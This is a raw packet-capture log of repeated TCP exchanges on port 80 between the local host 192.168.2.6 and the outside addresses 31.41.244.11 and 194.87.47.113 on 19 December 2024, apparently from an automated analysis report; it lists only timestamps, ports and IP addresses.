Dec 19, 2024 08:09:32.432394028 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.432441950 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.432583094 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.432616949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.433500051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.433512926 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.433563948 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.434549093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.434593916 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.434726000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.434762001 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.435581923 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.435739040 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.435776949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.436827898 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.436860085 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.437001944 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.437037945 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.437841892 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.437881947 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.438020945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.438054085 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.438956022 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.438968897 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.438991070 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.439011097 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.440026999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.440042019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.440073013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.441065073 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.441262960 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.441303015 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.442173004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.442230940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.442313910 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.442349911 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.443155050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.443214893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.443310022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.443325043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.443336964 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.443373919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.443646908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.443694115 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.443819046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.444437981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.444494009 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.444622993 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.444633961 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.444645882 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.444669008 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.444705009 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.446593046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.446767092 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.446815014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.447766066 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.447777033 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.447813034 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.448847055 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.448859930 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.448904991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.449840069 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.449878931 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.493005037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.568164110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.568468094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.568584919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.569103003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.569118023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.569155931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.570570946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.570703983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.570744991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.571978092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.572139978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.572191000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.573383093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.573532104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.573570967 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.575009108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.575117111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.575159073 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.576338053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.576503992 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.576772928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.577902079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.577914000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.577941895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.579464912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.579616070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.579658985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.580868006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.581023932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.581070900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.582309008 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.582556009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.582591057 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.583803892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.583969116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.584769011 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.585232973 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.585278988 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.585417986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.585431099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.585443974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.585453033 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.585483074 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.585766077 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.585939884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.585977077 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.586750984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.586944103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.586955070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.586996078 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.586997986 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.587358952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.587397099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.587430000 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.587465048 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.588210106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.588409901 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.588536978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.588572979 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.589601040 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.589617014 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.589659929 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.590342045 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.590353966 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.590368032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.590379953 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.590389013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.590414047 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.591846943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.592771053 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.592894077 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.592930079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.594504118 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.594548941 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.594690084 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.594739914 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.595366955 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.595381021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.595419884 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.595928907 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.595962048 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.596113920 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.596146107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.597053051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.597064972 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.597101927 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.598222971 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.598259926 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.598404884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.598438978 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.599224091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.599267006 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.599414110 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.599446058 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.600334883 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.600368977 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.600518942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.600553989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.601391077 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.601542950 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.601583958 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.602209091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.602251053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.602385998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.602560043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.602601051 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.602724075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.602766991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.602897882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.602940083 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.603092909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.603266954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.603575945 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.603615999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.603846073 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.603868961 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.603887081 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.604793072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.604827881 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.604865074 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.604984999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.605150938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.605187893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.605953932 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.605966091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.605988979 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.606014967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.606132030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.606293917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.606329918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.607021093 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.607033968 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.607069969 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.607673883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.607686996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.607736111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.608120918 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.608159065 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.608305931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.608338118 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.609158993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.609170914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.609204054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.609339952 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.609353065 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.609386921 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.610265970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.610301971 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.610447884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.610481024 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.610627890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.610795975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.611378908 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.611416101 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.611418009 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.611501932 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.611536026 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.612199068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.612210989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.612248898 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.612514019 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.612548113 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.612685919 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.612720013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.613650084 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.613662004 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.613675117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.613688946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.613693953 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.613732100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.614603043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.614640951 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.614775896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.614809990 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.615128994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.615271091 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.615875006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.615888119 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.615917921 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.615927935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.615947962 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.616492033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.616655111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.616695881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.616827965 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.616980076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.617021084 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.617919922 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.617933035 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.617997885 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.618076086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.618088961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.618135929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.618710041 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.618731022 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.618743896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.618757010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.618767977 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.618792057 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.618798018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.618804932 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.618825912 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.618855000 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.619259119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.619379997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.619424105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.619515896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.619529009 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.619564056 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.620546103 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.620588064 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.620661974 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.620699883 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.620755911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.620770931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.620800018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.621635914 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.621757030 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.621810913 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.622236967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.622302055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.622725964 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.622781992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.622782946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.622795105 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.622833014 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.623672962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.623791933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.623831034 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.623845100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.623857021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.623892069 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.624906063 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.624954939 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.625010967 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.625055075 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.625149965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.625217915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.625988007 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.626034021 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.626035929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.626105070 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.626142025 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.627096891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.627190113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.627232075 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.628223896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.628396034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.628437996 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.628786087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.628871918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.628911972 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.629266977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.629304886 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.629360914 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.629395008 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.629551888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.629616022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.630388021 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.630441904 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.630441904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.630512953 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.630547047 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.631041050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.631190062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.631455898 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.631499052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.631580114 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.631606102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.631623983 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.632512093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.632570982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.632582903 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.632622957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.632739067 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.632751942 CET	49858	80	192.168.2.6	31.41.244.11
